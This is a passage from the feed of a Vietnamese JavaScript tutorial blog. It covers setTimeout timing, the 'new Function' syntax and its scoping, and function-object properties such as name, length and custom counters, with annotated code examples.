<code>setTimeout</code> được gọi khi nào?</p> <ol> <li>Sau vòng lặp.</li> <li>Trước vòng lặp.</li> <li>Trong khi vòng lặp đang chạy.</li> </ol> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ?</span> <span class="token comment">// giả sử thời gian thực hiện vòng lặp lớn hơn 100ms</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"trước vòng lặp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">100000000</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> i<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"sau vòng lặp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">trước vòng lặp sau vòng lặp 100000000</code></pre></div> <p>Nghĩa là hàm với <code>setTimeout</code> được gọi ngay sau vòng lặp.</p> </div> </div> </div> <p>Tham khảo:</p> <ul> <li><a href="https://javascript.info/settimeout-setinterval">Scheduling: setTimeout and setInterval</a></li> <li><a href="https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#timers">Timers</a></li> </ul>[email protected]<![CDATA[Cú pháp new Function trong JavaScript]]><![CDATA[Cú pháp new Function trong JavaScript là một cách khác để định nghĩa hàm. Cách này ít khi được sử dụng, nhưng đôi khi lại rất hữu ích. Cú pháp new Function Cú pháp new Function để…]]>https://completejavascript.com/cu-phap-new-function-trong-javascript/https://completejavascript.com/cu-phap-new-function-trong-javascript/<![CDATA[Hàm]]>Sun, 18 Jun 2017 06:20:00 GMT<p>Cú pháp <code>new Function</code> trong JavaScript là một cách khác để định nghĩa hàm. Cách này ít khi được sử dụng, nhưng đôi khi lại rất hữu ích.</p> <h2 id="cú-pháp-new-function" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-new-function" aria-label="cú pháp new function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp new Function</h2> <p>Cú pháp <code>new Function</code> để định nghĩa hàm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> func <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token punctuation">[</span>arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span> <span class="token operator">...</span>argN<span class="token punctuation">]</span><span class="token punctuation">,</span> functionBody<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>[arg1, arg2, ...argN]</code>: là danh sách các tham số truyền vào hàm.</li> <li><code>functionBody</code>: là <strong>string</strong> dùng để mô tả hàm.</li> </ul> <p>Ví dụ <strong>hàm tính tổng</strong> sau nhận vào hai số <code>a</code> và <code>b</code> rồi trả về tổng <code>a + b</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"return a + b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span></code></pre></div> <p>Hoặc <strong>hàm không có tham số</strong> truyền vào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> sayHi <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">'console.log("Hello")'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <p><strong>Điểm khác nhau quan trọng</strong> giữa cú pháp <code>new Function</code> trong JavaScript với các cách định nghĩa hàm khác là:</p> <ul> <li>Cú pháp <code>new Function</code> sử dụng <strong>string</strong> để định nghĩa thân hàm.</li> <li>Quá trình định nghĩa hàm được thực hiện <strong>runtime</strong> (trong thời điểm chạy chương trình).</li> </ul> <p>Với tất cả các cách khác, bạn phải định nghĩa hàm ngay từ đầu. Nhưng cú pháp <code>new Function</code> lại có thể chuyển <strong>string</strong> thành hàm.</p> <p>Điều này cho phép bạn định nghĩa hàm bằng cách nhận <strong>string từ server</strong> (hoặc nguồn khác) rồi thực thi hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token comment">/*... nhận được từ server ...*/</span> <span class="token comment">// khởi tạo hàm từ string nhận được trên</span> <span class="token keyword">let</span> func <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thực thi hàm</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="mối-liên-quan-với-closure" style="position:relative;"><a href="#m%E1%BB%91i-li%C3%AAn-quan-v%E1%BB%9Bi-closure" aria-label="mối liên quan với closure permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mối liên quan với closure</h2> <p>Thông thường, một hàm trong JavaScript sẽ lưu những thông tin của môi trường - nơi mà hàm được tạo ra, đó chính là <strong>Lexical Environment</strong>.</p> <p>Nếu một hàm được định nghĩa thông qua cú pháp <code>new Function</code> thì lại khác. Hàm này không lưu thông tin của môi trường nơi hàm tạo ra mà lại lưu thông tin của <a href="/doi-tuong-global-trong-javascript/">môi trường global</a>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token string">"test from window"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">getFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token string">"test from getFunc"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> func <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">"console.log(value)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> func<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">getFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// test from window</span></code></pre></div> <p>Trong ví dụ trên, hàm <code>func</code> được tạo ra bên trong hàm <code>getFunc</code> nhưng lại không nhìn thấy biến <code>value</code> bên ngoài.</p> <p>Nói cách khác, biến <code>value</code> ở câu lệnh <code>console.log(value)</code> sẽ được tham chiếu đến đối tượng global (với trình duyệt thì đó là đối tượng <code>window</code>).</p> <p>So sánh với cách định nghĩa hàm thông thường:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span>value <span class="token operator">=</span> <span class="token string">"test from window"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">getFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token string">"test from getFunc"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">return</span> func<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">getFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "test from getFunc" - giá trị của value lấy ở bên ngoài</span></code></pre></div> <p>Đặc điểm trên của cú pháp <code>new Function</code> trong JavaScript có vẻ lạ, nhưng lại rất hợp lý.</p> <p>Tưởng tượng bạn cần phải tạo một hàm từ string. Mà nội dung của hàm lại <strong>không biết trước</strong> nên không thể định nghĩa hàm theo cách thông thường.</p> <p>Giả sử hàm mới này cần tương tác với mã nguồn chính, cụ thể là <strong>đọc giá trị của một biến</strong>.</p> <p>Vấn đề xảy ra ở đây là: trước khi triển khai web lên môi trường thật, mã nguồn thường được <strong>nén lại</strong> để giảm thiểu dung lượng.</p> <p>Cụ thể là chương trình nén sẽ <strong>xóa bỏ dấu cách</strong>, <strong>ghi chú code</strong> và đặc biệt là <strong>đổi tên biến thành dạng ngắn gọn hơn</strong>. Ví dụ biến <code>userName</code> được đổi thành <code>a</code> chẳng hạn.</p> <p>Nếu hàm tạo bởi <code>new Function</code> muốn đọc giá trị của biến <code>userName</code> thì sẽ sinh ra lỗi, vì không tìm thấy biến <code>userName</code> nữa.</p> <blockquote> <p>Để đọc giá trị của biến bên ngoài với cú pháp <code>new Function</code>, bạn hãy truyền giá trị của biến đó vào hàm thông qua tham số.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Cú pháp <code>new Function</code> trong JavaScript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> func <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token punctuation">[</span>arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span> <span class="token operator">...</span>argN<span class="token punctuation">]</span><span class="token punctuation">,</span> functionBody<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể truyền tham số vào hàm theo các cách khác nhau như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// cú pháp cơ bản</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"return a + b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// các tham số cách nhau bởi dấu phẩy</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">"a,b"</span><span class="token punctuation">,</span> <span class="token string">"return a + b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// các tham số cách nhau bởi dấu phẩy và có dấu cách</span> <span class="token keyword">new</span> <span class="token class-name">Function</span><span class="token punctuation">(</span><span class="token string">"a , b"</span><span class="token punctuation">,</span> <span class="token string">"return a + b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm tạo bởi <code>new Function</code> không tham chiếu tới môi trường nơi hàm được tạo ra, mà tham chiếu đến đối tượng global.</p> <p>Vì vậy, hàm này không thể đọc được giá trị của biến ngoài hàm. Điều này là tốt vì nó giúp tránh được nhiều lỗi.</p> <p>Để đọc giá trị của biến trong hàm <code>new Function</code>, hãy truyền giá trị của biến vào hàm thông qua tham số.</p> <p>Tham khảo: <a href="https://javascript.info/new-function">The "new Function" syntax</a></p>[email protected]<![CDATA[Function object trong JavaScript]]><![CDATA[Function trong JavaScript cũng là một loại object. Vì vậy, bạn có thể thêm/xóa thuộc tính vào function hoặc truyền qua hàm khác bởi tham chiếu,... Sau đây là những kiến thức cơ bản…]]>https://completejavascript.com/function-object-trong-javascript/https://completejavascript.com/function-object-trong-javascript/<![CDATA[Hàm]]><![CDATA[Object]]>Sat, 17 Jun 2017 06:20:00 GMT<p>Function trong JavaScript cũng là một loại object. Vì vậy, bạn có thể <strong>thêm/xóa thuộc tính</strong> vào function hoặc <strong>truyền qua hàm khác bởi tham chiếu</strong>,...</p> <p>Sau đây là những kiến thức cơ bản về function object trong JavaScript.</p> <h2 id="thuộc-tính-name" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-name" aria-label="thuộc tính name permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính <code>name</code></h2> <p>Function object trong JavaScript có nhiều <strong>thuộc tính hữu ích</strong>. Trong đó, thuộc tính <code>name</code> trả về tên của hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sayHi</span></code></pre></div> <p>Kể cả khi bạn <strong>khai báo và không đặt tên cho hàm</strong> mà gán vào biến khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sayHi</span></code></pre></div> <p>Hoặc khi phép gán được sử dụng thông qua việc <strong>đặt giá trị mặc định</strong> cho tham số hàm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sayHi</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nhìn chung, khi một hàm không được đặt tên, sau đó phép gán được thực hiện thì giá trị của thuộc tính <code>name</code> được xác định dựa trên ngữ cảnh cụ thể:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">sayBye</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ...</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>sayHi<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sayHi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>sayBye<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sayBye</span></code></pre></div> <p>Tuy nhiên, vẫn có những trường hợp không thể xác định được giá trị của thuộc tính <code>name</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// function được tạo ra bên trong mảng</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// string rỗng</span> <span class="token comment">// JavaScript Engine không có cách nào để xác định giá trị cho `name`</span></code></pre></div> <h2 id="thuộc-tính-length" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-length" aria-label="thuộc tính length permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính <code>length</code></h2> <p>Thuộc tính hữu ích khác của function object trong JavaScript là <code>length</code>.</p> <p>Thuộc tính <code>length</code> trả về số lượng tham số được định nghĩa trong hàm, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f1</span><span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">f2</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">many</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> <span class="token operator">...</span>more</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>f1<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>f2<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>many<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Trong ví dụ trên, bạn có thể thấy là <a href="/dau-ba-cham-trong-javascript/">dấu ba chấm</a> <code>...</code> (dùng để xác định số lượng tham số còn lại của hàm) không được tính vào giá trị của <code>length</code>.</p> <p>Giá trị của thuộc tính <code>length</code> thường được sử dụng để xử lý trường hợp mà số lượng tham số ảnh hưởng tới cách xử lý của hàm.</p> <p>Ví dụ hàm <code>ask</code> sau đây nhận vào tham số kiểu string <code>question</code>, sau đó là số lượng tùy ý các hàm <code>handlers</code> để gọi lại.</p> <p>Khi người dùng đưa ra câu trả lời, hàm <code>ask</code> sẽ gọi lại các hàm <code>handlers</code> với hai trường hợp xảy ra là:</p> <ul> <li>Hàm không tham số: chỉ được gọi khi người dùng <strong>đồng ý</strong>.</li> <li>Hàm có tham số: luôn được gọi và câu trả lời được trả về thông qua tham số.</li> </ul> <p>Để phân biệt hai trường hợp trên, bạn có thể dùng giá trị của thuộc tính <code>length</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">ask</span><span class="token punctuation">(</span><span class="token parameter">question<span class="token punctuation">,</span> <span class="token operator">...</span>handlers</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// dùng hàm confirm để hỏi người dùng</span> <span class="token keyword">let</span> isYes <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span>question<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt tất cả các handler sử dụng for...of</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> handler <span class="token keyword">of</span> handlers<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>handler<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// trường hợp hàm handler không có tham số</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>isYes<span class="token punctuation">)</span> <span class="token function">handler</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// trường hợp hàm handler có tham số</span> <span class="token function">handler</span><span class="token punctuation">(</span>isYes<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// hàm không tham số được gọi chỉ khi câu trả lời là đồng ý.</span> <span class="token comment">// hàm có tham số luôn luôn được gọi.</span> <span class="token function">ask</span><span class="token punctuation">(</span> <span class="token string">"Câu hỏi?"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Đáp án là yes"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">// hàm không tham số</span> <span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Đáp án là </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>result<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span> <span class="token comment">// hàm có tham số</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="thêm-thuộc-tính-vào-function-object" style="position:relative;"><a href="#th%C3%AAm-thu%E1%BB%99c-t%C3%ADnh-v%C3%A0o-function-object" aria-label="thêm thuộc tính vào function object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm thuộc tính vào function object</h2> <p>Bạn có thể tùy ý thêm thuộc tính vào function object trong JavaScript.</p> <p>Ví dụ thêm thuộc tính <code>counter</code> vào hàm để đếm số lần gọi hàm:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token comment">// đếm số lần gọi hàm</span></span><span class="gatsby-highlight-code-line"> sayHi<span class="token punctuation">.</span>counter<span class="token operator">++</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> sayHi<span class="token punctuation">.</span>counter <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// giá trị mặc định</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hàm sayHi được gọi với số lần là: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>sayHi<span class="token punctuation">.</span>counter<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hàm sayHi được gọi với số lần là: 2</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> việc thêm thuộc tính vào hàm <strong>không định nghĩa thêm biến local</strong> trong phạm vi hàm. Nói cách khác, <code>sayHi.counter</code> khác với <code>let counter</code>.</p> </blockquote> <p>Việc thêm thuộc tính vào hàm đôi khi có thể thay thế được <a href="/tim-hieu-javascript-closures/"><strong>closure</strong></a>.</p> <p>Ví dụ sử 